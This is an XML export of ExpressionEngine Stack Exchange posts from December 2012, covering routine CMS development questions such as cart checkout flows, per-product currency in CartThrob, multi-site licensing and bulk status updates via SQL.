  <row Id="1464" PostTypeId="2" ParentId="1462" CreationDate="2012-12-11T23:41:02.337" Score="1" Body="&lt;p&gt;First check to make sure your query is printing correctly outside of the embed code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is returning results correctly, next look at your quotes. Try removing the quotes for the entry_ids parameter, so &lt;code&gt;entry_ids=&quot;QUERY&quot;&lt;/code&gt; becomes &lt;code&gt;entry_ids=QUERY&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-11T23:41:02.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1465" PostTypeId="2" ParentId="1462" CreationDate="2012-12-12T00:11:19.203" Score="2" Body="&lt;p&gt;I suspect it has something to do with the parse order of the tags. Could you try adding &lt;code&gt;parse='inward'&lt;/code&gt; to your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check if it is embedding the values or the entire &lt;code&gt;{exp:query}&lt;/code&gt; tag if you turn on template debugging and look at how the entries tag is parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastEditorUserId="76" LastEditDate="2012-12-12T07:23:29.363" LastActivityDate="2012-12-12T07:23:29.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1467" PostTypeId="2" ParentId="1433" CreationDate="2012-12-12T00:19:38.140" Score="1" Body="&lt;p&gt;There is no add-on to add support for this since there is no way to hook into that particular part of the channel-module by means of an extension-hook. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There used to be a solution for EE1 made by (I believe) Mark Huot, but that required hacking the EE code directly... which is not advisable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2012-12-12T00:19:38.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1468" PostTypeId="1" AcceptedAnswerId="1474" CreationDate="2012-12-12T00:53:15.217" Score="4" ViewCount="236" Body="&lt;p&gt;I'm looking into developing a membership site using Membrr (http://www.membrr.com). The member details I want to store require line item entries, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 hour, Web Development, $100&#xA;1 hour, Web Design, $125&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to support line item entries, I think I need to get Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in order for my member fields to use Channels, I think I need to use Safecracker Registration, Zoo Visitor or Profile:Edit. However, none of them are listed as &quot;Matrix compatible&quot; on Devot-ee site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I on the wrong path? Is what I'm wanting to do impossible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, any suggestions to do membership other than using Membrr? The addon is a bit expensive.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-12T04:24:38.560" Title="Safecracker Registration, Zoo Visitor, Profile:Edit - not Matrix compatible?" Tags="|matrix|zoo-visitor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1469" PostTypeId="2" ParentId="1408" CreationDate="2012-12-12T01:17:46.213" Score="1" Body="&lt;p&gt;If you have are seeing your styles show up until you enter the field I would look for a more specific style for the field itself.  That could be a style targeted at input or at :focus, most probably something that includes :focus because you say the background color is correct until you click into the field.  body is a VERY nonspecific selector.  That means that eny selector that gets more specific will override it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't see that a style reason for this, maybe look at the javascript to see if there are any events that change the background color when the fields come into focus?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thing the developer tools in your browser are likely to be your friend on this one.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditDate="2012-12-17T03:50:29.300" LastActivityDate="2012-12-17T03:50:29.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1470" PostTypeId="2" ParentId="1468" CreationDate="2012-12-12T01:30:30.570" Score="5" Body="&lt;p&gt;You can definitely use Matrix with all of these add-ons. The all use Safecracker at the core, which is compatible with pretty much all fieldtypes (unless the developer did something to make it not work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That &quot;Matrix compatibility&quot; setting is rather new on Devot:ee, so I would be willing to bet the other developer over looked it, as I did. I just updated my page on Safecracker Registration to display Matrix compatibility, thanks for pointing that out.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="28" LastEditDate="2012-12-12T01:49:14.127" LastActivityDate="2012-12-12T01:49:14.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1471" PostTypeId="2" ParentId="1463" CreationDate="2012-12-12T01:42:44.397" Score="2" Body="&lt;p&gt;Your code is correct so I'd start troubleshooting with these three things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure your channel short name is correct (copy and paste it to be sure)&lt;/li&gt;&#xA;&lt;li&gt;Make sure your category id is correct&lt;/li&gt;&#xA;&lt;li&gt;&lt;strike&gt;Add dynamic=&quot;no&quot; parameter to your channel:entries tag&lt;/strike&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Check your URL paths. A entries tag can seemingly misbehave if you have a misspelling in the template name. Let's say your template is /blog/entry but you are calling /blog/entryy by mistake. EE will not find the &quot;entryy&quot; template because it doesn't exist and so will try to load the index template in the blog template group instead. A good test would be to create a &quot;test&quot; template group and insert your code into that index template. If it works here, then something related to the URL may be in play.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-12T16:02:46.697" LastActivityDate="2012-12-12T16:02:46.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1472" PostTypeId="1" AcceptedAnswerId="1473" CreationDate="2012-12-12T03:19:14.767" Score="1" ViewCount="312" Body="&lt;p&gt;This is my first time working with Expresso Store, so forgive me if this question is extremely basic, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I show in my &lt;code&gt;{exp:store:product}&lt;/code&gt; tag pair do a test like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if product is in cart,&#xA; show 'Product is in your cart',&#xA; with option to add another&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&#xA;Alex&lt;/p&gt;&#xA;" OwnerUserId="594" LastEditorUserId="150" LastEditDate="2013-02-15T09:15:34.373" LastActivityDate="2013-02-15T09:15:34.373" Title="Expresso Store: How to check if product is already in the cart?" Tags="|expresso-store|ecommerce|conditionals|expresso|shopping-cart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1473" PostTypeId="2" ParentId="1472" CreationDate="2012-12-12T03:54:25.797" Score="2" Body="&lt;p&gt;A similar question is here:&lt;br /&gt;&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/271/28&quot;&gt;https://expressionengine.stackexchange.com/a/271/28&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That answer may help in your situation... Not sure if it works inside the tag where you are trying to set the conditional.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Store: In_Cart Conditionals&lt;/strong&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/store-in_cart-conditionals&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/store-in_cart-conditionals&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;This extension adds certain &amp;quot;in_cart&amp;quot; conditionals within Exp:resso&#xA;Store Cart and Checkout tags.&lt;/p&gt;&#xA;&lt;p&gt;Available variables: &lt;code&gt;{store:entry_id_in_cart:XX}&lt;/code&gt; and &lt;code&gt;{store:sku_in_cart:XX}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2012-12-12T03:54:25.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1474" PostTypeId="2" ParentId="1468" CreationDate="2012-12-12T04:24:38.560" Score="4" Body="&lt;p&gt;You are on the right track moving member functionality into channels. It gives you infinite control over what you need to set up and you can use fieldtypes that aren't available with native member fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of today, Membrr is the only addon for setting up subscriptions of which I'm aware. BUT... &lt;a href=&quot;https://cartthrob.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CartThrob&lt;/strong&gt;&lt;/a&gt; is on the verge of launching an update to their store module and it will include an additional subscription addon that you can also buy for an additional price. It might even be released this week... there were some pages up on their site yesterday that indicated it was coming very soon... those pages are now off the site though from what I understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need to make a decision today, I'd wait till early next week to see if the CartThrob version is released and then compare the addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said... The cost of CartThrob and the additional Subscription addon will be more expensive than Membrr. I've heard some grumblings about Membrr being difficult to work with... but I haven't used it myself... It's possible that paying the extra money will save you lots of development time. I just don't know. CartThrob has a history of putting out a solid and extendable cart so I'm sure their Subscription addon will be the same. The docs can be a little dense (because it can do a ton) but they may be refreshing those too with this new version launch.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-12T04:24:38.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1475" PostTypeId="1" AcceptedAnswerId="1485" CreationDate="2012-12-12T05:05:31.663" Score="1" ViewCount="111" Body="&lt;p&gt;I've got a site where each product will be sold in either Pounds or Euros (depending on the supplier of the product). How would I go about specifying the currency on a per-product basis in CartThrob?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking through the CartThrob settings but it seems geared up for specifying a single currency for the entire site.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-12-12T06:12:40.657" Title="Specifying currency on a per-product basis in CartThrob" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1476" PostTypeId="1" AcceptedAnswerId="1484" CreationDate="2012-12-12T05:18:36.997" Score="2" ViewCount="279" Body="&lt;p&gt;I've got a site where I'd like each order to contain just one product/item. Therefore, I want to bypass the step of adding an item to a cart, and being able to keep adding items to the cart (the reason I want to skip this is because I don't want the user to end up with more than one item in the cart when they go to the checkout).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to take the user straight from a 'Buy Now' button to the checkout page, where they enter their payment details and complete the order. How would I go about doing this with CartThrob?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My usual workflow would be to use the Add to Cart form, then from there, go to the checkout page. I'm a bit unsure on how to cut out this 'Add to Cart' step in the middle though - I've tried using the checkout form with my 'Buy now' button, but I just get a message saying my cart is empty so I'm obviously going about this the wrong way.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-06-03T09:04:41.217" Title="Take user straight to checkout (without adding items to a cart) using CartThrob" Tags="|add-on|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1477" PostTypeId="1" AcceptedAnswerId="1501" CreationDate="2012-12-12T05:21:03.333" Score="4" ViewCount="378" Body="&lt;p&gt;Is there a way to have a field with autocomplete values that are based on the input from another field? The values would be a result of previously entered data in the Channels (along with some other custom logic possibly). Is there an addon for this already? Or a native way to do this in EE?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-13T17:34:17.337" Title="Autocomplete Field Type?" Tags="|custom-fields|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1478" PostTypeId="1" AcceptedAnswerId="1541" CreationDate="2012-12-12T05:23:58.763" Score="2" ViewCount="166" Body="&lt;p&gt;I'd like to provide my users a prettier UI to publish and edit/delete content (compared to what is provided by EE's control panel). For example, say I wanted to divide my entry form into tabs, etc. What are my options?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="104" LastEditDate="2012-12-12T16:30:19.283" LastActivityDate="2012-12-13T18:08:21.743" Title="How can I customise the publish/edit screens, or provide a custom UI for editing entries?" Tags="|channel-entries|control-panel|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1479" PostTypeId="1" AcceptedAnswerId="1480" CreationDate="2012-12-12T05:24:33.973" Score="5" ViewCount="771" Body="&lt;p&gt;Is there a way to change the status of a number of entries at one time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can select a number of checkboxes and then edit all, but thats still time consuming if you have pages of entries. (In my case, many thousands) &lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-01-14T17:30:49.527" Title="Bulk entry status change" Tags="|channel-entries|status|bulk|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1480" PostTypeId="2" ParentId="1479" CreationDate="2012-12-12T05:25:35.547" Score="8" Body="&lt;p&gt;This query should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles t &#xA;SET t.status = 'pending' &#xA;WHERE t.status = 'open'&#xA;AND t.channel_id = 'x'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change 'x' to your channel id.&lt;/p&gt;&#xA;" OwnerUserId="380" LastEditorUserId="100" LastEditDate="2013-01-14T17:23:13.573" LastActivityDate="2013-01-14T17:23:13.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1481" PostTypeId="2" ParentId="1478" CreationDate="2012-12-12T05:34:38.823" Score="1" Body="&lt;p&gt;I've done this using an entry that uses Ajax calls via jQuery and SAEF. Basically just hold all the changes in a json string and pass them when everything is collected that you/they need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't use tabs though. I used modals and steps.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2012-12-12T05:34:38.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1482" PostTypeId="2" ParentId="1433" CreationDate="2012-12-12T05:40:59.147" Score="0" Body="&lt;p&gt;It might be possible to use a snippet that checks the search range and returns a bool. This way you can run the range through whatever query you need.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2012-12-12T05:40:59.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1484" PostTypeId="2" ParentId="1476" CreationDate="2012-12-12T06:07:42.817" Score="4" Body="&lt;p&gt;You can control what template a person gets sent to when they click on a button in the add_to_cart_form and you can also control what's on that template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default templates that Cartthrob comes with are set up to have an update_cart_form, but you don't have to put that in there. Just include a form where you take the person's details inside a checkout_form tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've said you want to skip the add_to_cart_form but have also said you want to go from the Buy Now button to checkout. The Buy Now button would be in your add_to_cart_form so not sure why you think you need to skip that stage.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-12T06:07:42.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1485" PostTypeId="2" ParentId="1475" CreationDate="2012-12-12T06:12:40.657" Score="2" Body="&lt;p&gt;You should be able to use the &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/set_config/index.html#set_price_field&quot; rel=&quot;nofollow&quot;&gt;set config&lt;/a&gt; tag if you have two different price fields, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:set_config}&#xA;{if euro_price_field}&#xA;{set_price_field channel=&quot;products&quot; field=&quot;euro_price_field&quot;}&#xA;{if:else}&#xA;{set_price_field channel=&quot;products&quot; field=&quot;pounds_price_field&quot;}&#xA;{/if}&#xA;{/exp:cartthrob:set_config}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-12T06:12:40.657" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1486" PostTypeId="1" AcceptedAnswerId="1490" CreationDate="2012-12-12T07:37:45.353" Score="3" ViewCount="424" Body="&lt;p&gt;Are there other options for EE MSM? I'd like to use MSM, but the licensing restrictions that EE places on it won't allow me to do it. For example, I wanted to develop real estate agent website and sell it to several real estate agents. I'd like to reuse Channels, Templates, etc. across the sites. Apparently, that's not allowed by EE since MSM needs to only manage sites that are owned by the same entity. Leasing the sites (so that I remain the owner) is also not allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have 20 sites and want to change an h1 to an h2 in one of my templates, I don't want to have to do it in 20 sites. I want to do it from one place. I can't use EE MSM. What are my choices?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="104" LastEditDate="2012-12-12T16:28:45.683" LastActivityDate="2012-12-12T21:39:06.413" Title="Are there alternatives to MSM for running multiple sites / sharing channels &amp; templates across sites" Tags="|multi-site-manager|licensing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1487" PostTypeId="2" ParentId="1452" CreationDate="2012-12-12T08:17:13.173" Score="2" Body="&lt;p&gt;Please take a look at the source code for what is output for those un-parsed curly-braced tags, TJ. If you find that your source code shows that they're being output as HTML entities, i.e., &lt;code&gt;&amp;amp;#123;&lt;/code&gt; and &lt;code&gt;&amp;amp;#124;&lt;/code&gt;, it &lt;em&gt;may&lt;/em&gt; be a bug in EE 2.5.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I had a similar hair-pulling experience when trying to use Matrix's image replacement trick after upgrading to 2.5.3, where images uploaded to matrix were referenced as {image_1} {image_2} inside the body of a custom field. If this is an issue straight from matrix to template, this may not be helpful for you, tho.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the ellislab.com forum, here's a &lt;a href=&quot;http://ellislab.com/forums/viewthread/224272/#1030565&quot; rel=&quot;nofollow&quot;&gt;description + link to the bug&lt;/a&gt; (the forum post is viewable by all no matter if you're logged into ellislab.com or not.); to view the full fix, you will need to first log in to Ellislab.com before clicking that link in order to see the post re: temporary bug fix (scroll down). &lt;/p&gt;&#xA;" OwnerUserId="143" LastActivityDate="2012-12-12T08:17:13.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1488" PostTypeId="2" ParentId="1478" CreationDate="2012-12-12T08:21:37.500" Score="7" Body="&lt;p&gt;You already can use tabs in your publish layout:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit an entry &gt; click &quot;show toolbar&quot; &gt; add/remove tabs in this section:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ww0Kz.png&quot; alt=&quot;create custom publish tabs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info in the EE documentation: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/publish_page_layouts.html#tabs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Publish Page Layouts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="22" LastEditDate="2012-12-12T14:29:51.377" LastActivityDate="2012-12-12T14:29:51.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1489" PostTypeId="2" ParentId="1486" CreationDate="2012-12-12T08:32:11.087" Score="1" Body="&lt;p&gt;depending on how you want to setup your server, you may be able to save templates as files and then symlink your template directory so that the same template groups/files are used throughout your sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of your sites would need to be on the same server of course.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-12-12T08:32:11.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1490" PostTypeId="2" ParentId="1486" CreationDate="2012-12-12T08:40:20.403" Score="6" Body="&lt;p&gt;Bluntly: &lt;strong&gt;not many&lt;/strong&gt;. There are no software alternatives to the MSM available that I know of. Further if they did exist, I strongly doubt that they would be compatible with the core EE license, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/license.html#expressionengine-installations&quot; rel=&quot;nofollow&quot;&gt;specifically&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An ExpressionEngine license purchase &lt;strong&gt;allows a single “live” installation in a production environment&lt;/strong&gt; and ancillary “development use only” installations as needed to support the live installation (such as development and a staging servers). &lt;strong&gt;Additional installations require additional license purchases&lt;/strong&gt;. If you have specific installation needs not covered by this license, please Contact Us.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Furthermore the license &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/license.html#restrictions&quot; rel=&quot;nofollow&quot;&gt;also states&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unless you have been granted prior, written consent from EllisLab, Inc., you may not:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Reproduce, distribute, or transfer the Software, or portions thereof, to any third party. &lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Sell, rent, lease, assign, or sublet the Software or portions thereof.&lt;/strong&gt; &lt;/li&gt;&#xA;  &lt;li&gt;Grant rights to any other person.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Emphasis mine)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only extension/exception to this is if you purchase the MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;if you are willing to purchase a separate EE license for each of your sites, but want to share template code between them&lt;/strong&gt;, you could easily manage that at the file level, either via symlinks (if all sites on the same server) or via site specific branches in a Git repository. Though that doesn't resolve the shared schema/fields/channels issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of experimental addons/products that seek to address that issue in varying ways (eg &lt;a href=&quot;http://ee-garage.com/nsm-site-generator&quot; rel=&quot;nofollow&quot;&gt;NSM Site Generator&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://github.com/ckimrie/Site-Manager&quot; rel=&quot;nofollow&quot;&gt;Site Manager&lt;/a&gt;), but none (that I'm aware of) that are production ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly. in my experience EE &lt;strong&gt;is not the best choice for a SaaS, multi-instance application&lt;/strong&gt; for precisely the reason that channels and fields are implemented as DB data not as part of the schema. That makes for great flexibility and rapid development, but it also makes sharing site structure across installs much more difficult that with a lower level framework.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-12-12T21:39:06.413" LastActivityDate="2012-12-12T21:39:06.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1491" PostTypeId="1" AcceptedAnswerId="1492" CreationDate="2012-12-12T09:48:31.090" Score="1" ViewCount="130" Body="&lt;p&gt;On my product page I want to have a single button that combines 'add to cart' and 'checkout'. I'm finding the documentation a bit hard to follow. Currently my button looks like this and just adds the item to the cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add To Cart&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="595" LastActivityDate="2012-12-12T11:00:07.277" Title="Expresso Store Buy Now Button" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1492" PostTypeId="2" ParentId="1491" CreationDate="2012-12-12T10:28:46.973" Score="1" Body="&lt;p&gt;You can add a return parameter to your product opening tag to force the user to a specific page when they add the item to the cart. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;checkout/template&quot;}&#xA; &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Checkout Now&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you control the entire process you can direct them to your checkout templates. You can not however send them to the gateway automatically when they add an item to the cart. So you could not have a user add an item to the cart and direct them to PayPal automatically.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-12T10:28:46.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1494" PostTypeId="2" ParentId="1486" CreationDate="2012-12-12T11:53:55.407" Score="1" Body="&lt;p&gt;I've setup multiple sites from the same install without MSM, it can be done and this was mentioned in the wiki. These are now unreachable with the new site :-( It is also unsupported and has a few glitches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unable to save template as files&lt;/li&gt;&#xA;&lt;li&gt;No way to separate mailing lists (but this is with MSM the same) and a few more things (which I don't recall I'm afraid).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But here it goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy index.php from the ee root to the folder from the site (setup with DNS on the same server)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$system_path = 'absolute path to ee system folder';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At ‘CUSTOM CONFIG VALUES’:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$assign_to_config['template_group'] = 'name off the template group';&#xA;  $assign_to_config['template'] = 'index'; //name of the start template&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Lately I've been using MSM, because its better supported with add ons like wygwam, assets etc.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2012-12-12T11:53:55.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1495" PostTypeId="2" ParentId="1409" CreationDate="2012-12-12T12:22:35.750" Score="6" Body="&lt;p&gt;I suspect that you're running into an issue whereby your server sets content expiry headers for javascript and that's resulting in the addon's output being cached. I recently &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19055&quot;&gt;submitted a bug report&lt;/a&gt; for this issue, with the proposed fix being to explicitly set a &lt;code&gt;no-cache&lt;/code&gt; header for javascript generated via the &lt;code&gt;cp_js_end&lt;/code&gt; hook. The fix has been accepted for a future release but who knows when that will be. In the meantime you can apply it manually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up controllers/cp/javascript.php and locate the &lt;code&gt;_ext_scripts()&lt;/code&gt; function. Within that function locate this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;output-&amp;gt;set_header(&quot;Content-Type: text/javascript&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Immediately underneath it add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;output-&amp;gt;set_header(&quot;Cache-Control: no-cache, must-revalidate&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will override your default headers and should ensure that a fresh copy of the &lt;code&gt;ext_scripts&lt;/code&gt; output is retrieved with each page request.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-12T12:22:35.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1496" PostTypeId="1" AcceptedAnswerId="1497" CreationDate="2012-12-12T12:48:58.570" Score="7" ViewCount="207" Body="&lt;p&gt;I'm developing a custom extension that should work also in Control Panel.&#xA;In an EE MSM environment I need to know which site is selected (site_id).&#xA;Is there any variabile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find anything in EE Development Doc.&lt;/p&gt;&#xA;" OwnerUserId="310" LastActivityDate="2012-12-12T12:57:57.920" Title="Development: how to know current site selected in Control Panel" Tags="|extension|multi-site-manager|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1497" PostTypeId="2" ParentId="1496" CreationDate="2012-12-12T12:57:57.920" Score="20" Body="&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('site_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;config_item('site_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-12T12:57:57.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
